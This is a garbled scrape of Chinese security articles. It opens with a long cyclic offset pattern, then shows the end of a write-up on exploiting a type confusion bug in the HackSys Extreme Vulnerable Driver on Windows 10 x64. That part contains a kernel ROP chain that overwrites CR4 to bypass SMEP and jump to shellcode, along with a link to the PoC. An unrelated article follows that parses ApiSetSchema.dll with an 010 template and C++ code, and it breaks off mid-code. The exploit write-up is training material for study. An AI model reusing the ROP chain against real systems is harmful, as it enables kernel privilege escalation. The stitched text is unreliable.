2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6Hf7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9Hs0Hs1Hs2Hs3Hs4Hs5Hs6Hs7Hs8Hs9Ht0Ht1Ht2Ht3Ht4Ht5Ht6Ht7Ht8Ht9Hu0Hu1Hu2Hu3Hu4Hu5Hu6Hu7Hu8Hu9Hv0Hv1Hv2Hv3Hv4Hv5Hv6Hv7Hv8Hv9Hw0Hw1Hw2Hw3Hw4Hw5Hw6Hw7Hw8Hw9Hx0Hx1Hx2Hx3Hx4Hx5Hx6Hx7Hx8Hx9Hy0Hy1Hy2Hy3Hy4Hy5Hy6Hy7Hy8Hy9Hz0Hz1Hz2Hz3Hz4Hz5Hz6Hz7Hz8Hz9Ia0Ia1Ia2Ia3Ia4Ia5Ia6Ia7Ia8Ia9Ib0Ib1Ib2Ib3Ib4Ib5Ib6Ib7Ib8Ib9Ic0Ic1Ic2Ic3Ic4Ic5Ic6Ic7Ic8Ic9Id0Id1Id2Id3Id4Id5Id6Id7Id8Id9Ie0Ie1Ie2Ie3Ie4Ie5Ie6Ie7Ie8Ie9If0If1If2If3If4If5If6If7If8If9Ig0Ig1Ig2Ig3Ig4Ig5Ig6Ig7Ig8Ig9Ih0Ih1Ih2Ih3Ih4Ih5Ih6Ih7Ih8Ih9Ii0Ii1Ii2Ii3Ii4Ii5Ii6Ii7Ii8Ii9Ij0Ij1Ij2Ij3Ij4Ij5Ij6Ij7Ij8Ij9Ik0Ik1Ik2Ik3Ik4Ik5Ik6Ik7Ik8Ik9Il0Il1Il2Il3Il4Il5Il6Il7Il8Il9Im0Im1Im2Im3Im4Im5Im6Im7Im8Im9In0In1In2In3In4In5In6In7In8In9Io0Io1Io2Io3Io4Io5Io6Io7Io8Io9Ip0Ip1Ip2Ip3Ip4Ip5Ip6Ip7Ip8Ip9Iq0Iq1Iq2Iq3Iq4Iq5Iq6Iq7Iq8Iq9Ir0Ir1Ir2Ir3Ir4Ir5Ir6Ir7Ir8Ir9Is0Is1Is2Is3Is4Is5Is6Is7Is8Is9It0It1It2It3It4It5It6It7It8It9Iu0Iu1Iu2Iu3Iu4Iu5Iu6Iu7Iu8Iu9Iv0Iv1Iv2Iv3Iv4Iv5Iv6Iv7Iv8Iv9Iw0Iw1Iw2Iw3Iw4Iw5Iw6Iw7Iw8Iw9Ix0Ix1Ix2Ix3Ix4Ix5Ix6Ix7Ix8Ix9Iy0Iy1Iy2Iy3Iy4Iy5Iy6Iy7Iy8Iy9Iz0Iz1Iz2Iz3Iz4Iz5Iz6Iz7Iz8Iz9Ja0Ja1Ja2Ja3Ja4Ja5Ja6Ja7Ja8Ja9Jb0Jb1Jb2Jb3Jb4Jb5Jb6Jb7Jb8Jb9Jc0Jc1Jc2Jc3Jc4Jc5Jc6Jc7Jc8Jc9Jd0Jd1Jd2Jd3Jd4Jd5Jd6Jd7Jd8Jd9Je0Je1Je2Je3Je4Je5Je6Je7Je8Je9Jf0Jf1Jf2Jf3Jf4Jf5Jf6Jf7Jf8Jf9Jg0Jg1Jg2Jg3Jg4Jg5Jg6Jg7Jg8Jg9Jh0Jh1Jh2Jh3Jh4Jh5Jh6Jh7Jh8Jh9Ji0Ji1Ji2Ji3Ji4Ji5Ji6Ji7Ji8Ji9Jj0Jj1Jj2Jj3Jj4Jj5Jj6Jj7Jj8Jj9Jk0Jk1Jk2Jk3Jk4Jk5Jk6Jk7Jk8Jk9Jl0Jl1Jl2Jl3Jl4Jl5Jl6Jl7Jl8Jl9Jm0Jm1Jm2Jm3Jm4Jm5Jm6Jm7Jm8Jm9Jn0Jn1Jn2Jn3Jn4Jn5Jn6Jn7Jn8Jn9Jo0Jo1Jo2Jo3Jo4Jo5Jo6Jo7Jo8Jo9Jp0Jp1Jp2Jp3Jp4Jp5Jp6Jp7Jp8Jp9Jq0Jq1Jq2Jq3Jq4Jq5Jq6Jq7Jq8Jq9Jr0Jr1Jr2Jr3Jr4Jr5Jr6Jr7Jr8Jr9Js0Js1Js2Js3Js4Js5Js6Js7Js8Js9Jt0Jt1Jt2Jt3Jt4Jt5Jt6Jt7Jt8Jt9Ju0Ju1Ju2Ju3Ju4Ju5Ju6Ju7Ju8Ju9Jv0Jv1Jv2Jv3Jv4Jv5Jv6Jv7Jv8Jv9Jw0Jw1Jw2Jw3Jw4Jw5Jw6Jw7Jw8Jw9Jx0Jx1Jx2Jx3Jx4Jx5Jx6Jx7Jx8Jx9Jy0Jy1Jy2Jy3Jy4Jy5Jy6Jy7Jy8Jy9Jz0Jz1Jz2Jz3Jz4Jz5Jz6Jz7Jz8Jz9Ka0Ka1Ka2Ka3Ka4Ka5Ka6Ka7Ka8Ka9Kb0Kb1Kb2Kb3Kb4Kb5Kb6Kb7Kb8Kb9Kc0Kc1Kc2Kc3Kc4Kc5Kc6Kc7Kc8Kc9Kd0Kd1Kd2Kd3Kd4Kd5Kd6Kd7Kd8Kd9Ke0Ke1Ke2Ke3Ke4Ke5Ke6Ke7Ke8Ke9Kf0Kf1Kf2Kf3Kf4Kf5Kf6Kf7Kf8Kf9Kg0Kg1Kg2Kg3Kg4Kg5Kg6Kg7Kg8Kg9Kh0Kh1Kh2Kh3Kh4Kh5Kh6Kh7Kh8Kh9Ki0Ki1Ki2Ki3Ki4Ki5Ki6Ki7Ki8Ki9Kj0Kj1Kj2Kj3Kj4Kj5Kj6Kj7Kj8Kj9Kk0Kk1Kk2Kk3Kk4Kk5Kk6Kk7Kk8Kk9Kl0Kl1Kl2Kl3Kl4Kl5Kl6Kl7Kl8Kl9Km0Km1Km2Km3Km4Km5Km6Km7Km8Km9Kn
下面的WinDBG的屏幕截图显示了将要触发该漏洞时的堆栈的布局情况。我们可以看到，喷射模版的一些子模版（红色圆圈内的部分）在没有被破坏的情况下被保留了下来。这些是我们漏洞利用过程的垫脚石。通过计算模版中这些子模版的偏移量，我们可以准确地推断出放置ROP
Gadget的具体位置。
通过向下翻看堆栈（我的意思是，查看更高的地址），就会发现，有很多地方都可用于放置ROP Gadget。在Windows 10 x64
V1703版本中，完整的ROP链如下所示。在这个ROP链中，共使用了4个影子空间以及3个长跳转指令。
chain += struct.pack('<Q', kernel_base + 0x68464f) # add rsp, 0x58; ret;
chain += struct.pack('<Q', 0x4141414141414141) * 11 # filler
chain += struct.pack('<Q', kernel_base + 0x11c667) # add rsp, 0x118; ret;
chain += struct.pack('<Q', 0x4141414141414141) * 35 # filler
chain += struct.pack('<Q', kernel_base + 0x597b) # pop rcx; ret;
chain += struct.pack('<Q', 0x506f8) # rcx
chain += struct.pack('<Q', kernel_base + 0x1f081e) # add rsp, 0x48; ret;
chain += struct.pack('<Q', 0x4141414141414141) * 9 # filler
chain += struct.pack('<Q', kernel_base + 0x108552) # mov cr4, rcx; ret;
chain += struct.pack('<Q', shellcode_addr)
完整的PoC代码，读者可以从[GitHub](https://github.com/acru3l/HEVD-exploits/blob/master/Windows%2010%20v1703%20x64/TypeConfusion_v2.00.py
"GitHub")站点下载。
**参考资料**
* * *
[1] <https://j00ru.vexillium.org/2011/05/windows-kernel-stack-spraying-techniques/>
[2] <https://github.com/hacksysteam/HackSysExtremeVulnerableDriver> | 社区文章 |
# 深入剖析 api-ms-* 系列动态链接库
最近`api-ms-*`系列的动态链接引起了我的兴趣，起因是我在 kernel32.dll 的导入表中发现了大量`api-ms-*`依赖。
带着好奇心在磁盘中找到一个`api-ms-win-core-rtlsupport-l1-1-0.dll`，将其拖入到 010 中解析，奇怪的是通用的 EXE
模板居然报错了，没法子只有用 IDA 看看，在 IDA 中神奇的发现每个导出表的实际内容是字符串。看到这个我幡然醒悟，原来`api-ms-*`这个系列的
DLL 只是起转发作用的啊。
本以为这事到这里就结束了，结果我发现了一个根本无法用上述理论解释的现象。在 kernel32.dll 导入表中的某些 DLL 不存在于磁盘上，比如
**api-ms-onecoreuap-settingsync-status-l1-1-0.dll** ，再比如 **api-ms-win-appmodel-identity-l1-2-0.dll** 。我上面说了`api-ms-*`是起转发作用的，但磁盘上要是不存在某个 DLL，
**那谁又能知道它转发到哪里去了呢** 。
带着这个问题遨游在搜索引擎数小时后，发现 [Quarkslab](https://blog.quarkslab.com/index.html) 这位大佬在
2012 就已经研究过这个问题了。将他两篇文章融会贯通后，我得出了以下结论：
api-ms-* 系列的 DLL 确实起的是转发作用，但其本身可以不存在于操作系统，因为在 System32 目录下存在一个名为
**ApiSetSchema.dll** 的 DLL，它记录了所有`api-ms-*`系列动态库转发到的目的 DLL。 **简言之就是
ApiSetSchema.dll 为 api-ms-* 系类的 DLL 名和转发后的 DLL 名建立了一个索引表。**
## 部分内核机制
按大佬的说法，内核初始化阶段使用 **nt!MiInitializeApiSets** 中的 **nt!PsLoadedModuleList** 函数在
**ldr** 双链表里搜索名为 **ApiSetSchema.dll** 的模块并获取其访问控制权。随后将其视为 PE
结构解析，获取`.apiset`的节区并将其映射到内核空间，映射完成后卸载掉 ApiSetSchema 模块。最后解析 .apiset
节区的数据即可获得完整的 DLL 转发关系。
本文的核心在于如何解析`.apiset`这个节区的数据，内核初始化过程这部分我就不作验证了。
除此之外，在 PEB 偏移 0x68 的位置存在一个 **ApiSetMap** 的结构体，这个结构体存放的是 **ApiSetSchema.dll** 中
.apiset 节区的所有数据。验证过程如下，首先用 IDA 打开 **C:\Windows\System32\apisetschema.dll**
，并定位到 .apiset 节区：
然后 Windbg 附加到 notepad.exe ，使用命令`!peb`查看 Peb 的位置在`310ab4d000`：
再使用命令`dt nt!_peb 310ab4d000`将 Peb 的完整结构打印出来：
在偏移 +0x68 处找到 ApiSetMap ，其地址为`22ec26c0000`，使用命令`dd 22ec26c0000`查看数据，发现和 IDA
中查看的数据是一样的：
## ApiSetSchema解析
根据上面的描述，现在有两种方式来获取整个操作系统`api-ms-*`系列 DLL 的转发表。一是在自己进程的 **Peb+0x68**
处获取到`.apiset`的节数据，二是解析 System32 目录下的 ApiSetSchema.dll
动态库。我这里以方法二来演示，因为文件解析是可以跨平台的。
在解析 .apiset
的节区前需要对这个节区的数据结构有所了解。可惜的是微软没给出文档，就只有自己找找有没有前辈已经做了这个工作的。短短的几小时后，发现了在
[lucasg](https://lucasg.github.io/2017/10/15/Api-set-resolution) 大佬的文章中提及了
.apiset 对应的数据结构。
### 010模板解析
耐心看完`lucasg`大佬的文章，发现他也引用了 [Quarkslab](https://blog.quarkslab.com/index.html)
大佬的文章，真是 **前人栽树，后人乘凉啊** 。并且大佬还给出了一个 010 的解析模板，模板代码如下：
// Api namespace header
typedef struct {
ULONG Version;
ULONG Size <format=hex>;
ULONG Flags;
ULONG Count <format=hex>;
ULONG EntryOffset <format=hex>;
ULONG HashOffset <format=hex>;
ULONG HashFactor <format=hex>;
} API_SET_NAMESPACE;
typedef struct {
ULONG Hash;
ULONG Index;
} API_SET_HASH_ENTRY;
typedef struct {
ULONG Flags;
ULONG NameOffset;
ULONG NameLength;
ULONG HashedLength;
ULONG ValueOffset;
ULONG ValueCount;
} API_SET_NAMESPACE_ENTRY;
typedef struct {
ULONG Flags;
ULONG NameOffset;
ULONG NameLength;
ULONG ValueOffset;
ULONG ValueLength;
} API_SET_VALUE_ENTRY;
typedef struct {
for (i=0; i<ApiSetMap.Count; i++) {
API_SET_NAMESPACE_ENTRY Entry;
}
} API_SET_NAMESPACE_ENTRIES;
typedef struct {
for (i=0; i<ApiSetMap.Count; i++) {
API_SET_HASH_ENTRY HashEntry;
}
} API_SET_NAMESPACE_HASH_ENTRIES;
typedef struct (API_SET_VALUE_ENTRY &ValueEntry) {
local int StartAddress = FTell();
local int ValueLength = ValueEntry.ValueLength;
CHAR Value[ValueEntry.ValueLength + 2];
} API_SET_ENTRY_VALUE;
typedef struct (API_SET_NAMESPACE_ENTRY& Entry) {
local int ValueCount = Entry.ValueCount;
local int NameLength = Entry.NameLength;
local int StartAddress = FTell();
local int HasValues = false;
CHAR Name[Entry.NameLength + 2];
FSeek(StartAddr + Entry.ValueOffset);
API_SET_VALUE_ENTRY ValueEntry;
FSeek(StartAddr + ValueEntry.ValueOffset);
if (ValueEntry.ValueOffset)
{
HasValues = true;
for (j = 0; j < Entry.ValueCount;j++)
{
API_SET_ENTRY_VALUE ValueName(ValueEntry);
}
}
if (i < ApiSetMap.Count - 1){
FSeek(StartAddr + Entries.Entry[i+1].NameOffset);
}
else {
FSeek(StartAddr + ApiSetMap.Size);
}
} API_SET_ENTRY_PARSED <read=ReadApiSetEntry>;
string ReadApiSetEntry(API_SET_ENTRY_PARSED & ParsedEntry)
{
local string sApiSetName = ReadWString(ParsedEntry.StartAddress, ParsedEntry.NameLength);
if (ParsedEntry.HasValues) {
local string sApiSetValue = ReadWString(ParsedEntry.ValueName[0].StartAddress, ParsedEntry.ValueName[0].ValueLength/2);
return sApiSetName + " -> " + sApiSetValue;
}
return sApiSetName;
}
// main entry point
LittleEndian();
Printf("Parse api set schema Begin.\n");
local int StartAddr = FTell();
local int i =0;
local int j =0;
API_SET_NAMESPACE ApiSetMap <fgcolor=cGreen>;
FSeek(StartAddr + ApiSetMap.EntryOffset);
// Enumerate API_SET_NAMESPACE_ENTRY entries
API_SET_NAMESPACE_ENTRIES Entries <fgcolor=cPurple>;
// Traverse API_SET_NAMESPACE_ENTRY entries and retrieve
// corresponding API_SET_VALUE_ENTRY entry in order to dump
// api-set and hosts library names.
for (i=0; i<ApiSetMap.Count; i++) {
FSeek(StartAddr + Entries.Entry[i].NameOffset);
API_SET_ENTRY_PARSED ParsedEntry(Entries.Entry[i]) <fgcolor=cBlue>;
}
// Enumerate API_SET_HASH_ENTRY entries
FSeek(StartAddr + ApiSetMap.HashOffset);
API_SET_NAMESPACE_HASH_ENTRIES HashEntries <fgcolor=cRed>;
Printf("Parse api set schema End.\n");
010 的模板大伙都会用吧，需要注意的是，这个模板解析的是`.apiset`节的数据，所以需要提前将 ApiSetSchema.dll
的数据抠出来，然后再使用该模板，使用效果如下：
对照着模板就很好理解了，前 28 字节是一个名为 **API_SET_NAMESPACE** 的结构，核心字段 **Count** 、
**EntryOffset** 和 **HashOffet** 分别表示 **API_SET_NAMESPACE_ENTRY** 结构体数组的个数、
**API_SET_NAMESPACE_ENTRY** 入口偏移以及 **API_SET_HASH_ENTRY**
入口偏移，其中哈希表的作用是操作系统用于快速检索转发后的 DLL 名。
上边说了 **EntryOffset** 偏移过去指向的是 **API_SET_NAMESPACE_ENTRY** 数组且大小为 **Count**
个。其核心字段 **NameOffset** 和 **ValueOffset** 分别表示欲转发的原始 DLL 名的偏移以及
**API_SET_VALUE_ENTRY** 的入口偏移。
在 **API_SET_VALUE_ENTRY** 中使用 **ValueOffset** 表示转发后 DLL 名的偏移。
需要注意的是，某个`api-ms-*`动态库可能转发到多个其它的动态库中，至于具体是多少个，由 **API_SET_NAMESPACE_ENTRY** 中的
**ValueCount** 指明。
### Cpp代码解析
接下来我就对照着 010 模板写一份 Cpp 解析 **ApiSetSchema.dll** 的工具。首先是将结构体拷出来，如下所示：
typedef struct _API_SET_NAMESPACE
{
uint32_t Version;
uint32_t Size;
uint32_t Flags;
uint32_t Count;
uint32_t EntryOffset;
uint32_t HashOffset;
uint32_t HashFactor;
} API_SET_NAMESPACE, *PAPI_SET_NAMESPACE;
typedef struct _API_SET_HASH_ENTRY
{
uint32_t Hash;
uint32_t Index;
} API_SET_HASH_ENTRY, *PAPI_SET_HASH_ENTRY;
typedef struct _API_SET_NAMESPACE_ENTRY
{
uint32_t Flags;
uint32_t NameOffset;
uint32_t NameLength;
uint32_t HashedLength;
uint32_t ValueOffset;
uint32_t ValueCount;
} API_SET_NAMESPACE_ENTRY, *PAPI_SET_NAMESPACE_ENTRY;
typedef struct _API_SET_VALUE_ENTRY
{
uint32_t Flags;
uint32_t NameOffset;
uint32_t NameLength;
uint32_t ValueOffset;
uint32_t ValueLength;
} API_SET_VALUE_ENTRY, *PAPI_SET_VALUE_ENTRY;
然后给出 **ApiSetSchema.dll** 的路径，并解析其 PE 结构。为了更快更方便更稳定的解析 PE 结构，我使用了跨平台的`LIEF`框架：
#include <LIEF/LIEF.hpp>
int main() {
std::string path = "apisetschema.dll";
std::unique_ptr<LIEF::PE::Binary> bin = LIEF::PE::Parser::parse(path);
return 0;
}
解析 PE 结构后定位到`.apiset`节区，并获取其所有的数据：
LIEF::PE::Section sec = bin->get_section(".apiset");
std::vector<uint8_t> sec_data = sec.content();
将节区的前 28 字节对应到 API_SET_NAMESPACE 结构体，并获取到 API_SET_NAMESPACE_ENTRY 数组的数量和偏移：
PAPI_SET_NAMESPACE pnamespace = (PAPI_SET_NAMESPACE)(sec_data.data());
UINT_PTR namespace_addr = (UINT_PTR)pnamespace;
PAPI_SET_NAMESPACE_ENTRY pnamespace_entry = (PAPI_SET_NAMESPACE_ENTRY)(namespace_addr + pnamespace->EntryOffset);
遍历 API_SET_NAMESPACE_ENTRY 结构体数组，大小为 Count ，打印其原始 DLL 名。然后获取其转发后的 DLL
名，并打印转发后的 ValueCount 个 DLL 名。注意： **因为 ApiSetSchema 用于内核中，所以应该使用 UNICODE_STRING
来解析字符串** 。如果使用`wchar_t*`或者`wstring`打印结果，会得到不正确的结果，原因是 DLL 的名称不会以`00
00`作为结束标识，而是以 NameLength 作为结束标识（此坑我已踩）：
uint32_t i = 0, j = 0;
UNICODE_STRING origin_name, forward_name;
for (i = 0; i < pnamespace->Count; i++)
{
origin_name.Buffer = (wchar_t *)(namespace_addr + pnamespace_entry->NameOffset);
origin_name.Length = pnamespace_entry->NameLength;
origin_name.MaximumLength = pnamespace_entry->NameLength;
printf("%wZ.dll -> ", &origin_name);
PAPI_SET_VALUE_ENTRY pvalue_entry = (PAPI_SET_VALUE_ENTRY)(namespace_addr + pnamespace_entry->ValueOffset);
for (j = 0; j < pnamespace_entry->ValueCount; j++)
{
forward_name.Buffer = (wchar_t *)(namespace_addr + pvalue_entry->ValueOffset);
forward_name.Length = pvalue_entry->ValueLength;
forward_name.MaximumLength = pvalue_entry->ValueLength;
printf("%wZ", &forward_name);
if ((j + 1) != pnamespace_entry->ValueCount)
{
printf(", ");
}
if (pvalue_entry->NameLength != 0)
{
origin_name.Buffer = (wchar_t *)(namespace_addr + pvalue_entry->NameOffset);
origin_name.Length = pvalue_entry->NameLength;
origin_name.MaximumLength = pvalue_entry->NameLength;
printf(" [%wZ]", &origin_name);
}
pvalue_entry++;
}
printf("\n");
pnamespace_entry++;
}
完整代码如下：
#include <LIEF/LIEF.hpp>
typedef struct _UNICODE_STRING
{
uint16_t Length;
uint16_t MaximumLength;
_Field_size_bytes_part_(MaximumLength, Length) wchar_t *Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
#if defined(_WIN64)
typedef __int64 INT_PTR, *PINT_PTR;
typedef unsigned __int64 UINT_PTR, *PUINT_PTR;
typedef __int64 LONG_PTR, *PLONG_PTR;
typedef unsigned __int64 ULONG_PTR, *PULONG_PTR;
#define __int3264 __int64
#else
typedef _W64 int INT_PTR, *PINT_PTR;
typedef _W64 unsigned int UINT_PTR, *PUINT_PTR;
typedef _W64 long LONG_PTR, *PLONG_PTR;
typedef _W64 unsigned long ULONG_PTR, *PULONG_PTR;
#define __int3264 __int32
#endif
typedef struct _API_SET_NAMESPACE
{
uint32_t Version;
uint32_t Size;
uint32_t Flags;
uint32_t Count;
uint32_t EntryOffset;
uint32_t HashOffset;
uint32_t HashFactor;
} API_SET_NAMESPACE, *PAPI_SET_NAMESPACE;
typedef struct _API_SET_HASH_ENTRY
{
uint32_t Hash;
uint32_t Index;
} API_SET_HASH_ENTRY, *PAPI_SET_HASH_ENTRY;
typedef struct _API_SET_NAMESPACE_ENTRY
{
uint32_t Flags;
uint32_t NameOffset;
uint32_t NameLength;
uint32_t HashedLength;
uint32_t ValueOffset;
uint32_t ValueCount;
} API_SET_NAMESPACE_ENTRY, *PAPI_SET_NAMESPACE_ENTRY;
typedef struct _API_SET_VALUE_ENTRY
{
uint32_t Flags;
uint32_t NameOffset;
uint32_t NameLength;
uint32_t ValueOffset;
uint32_t ValueLength;
} API_SET_VALUE_ENTRY, *PAPI_SET_VALUE_ENTRY;
int main()
{
std::string path = "apisetschema.dll";
std::unique_ptr<LIEF::PE::Binary> bin = LIEF::PE::Parser::parse(path);
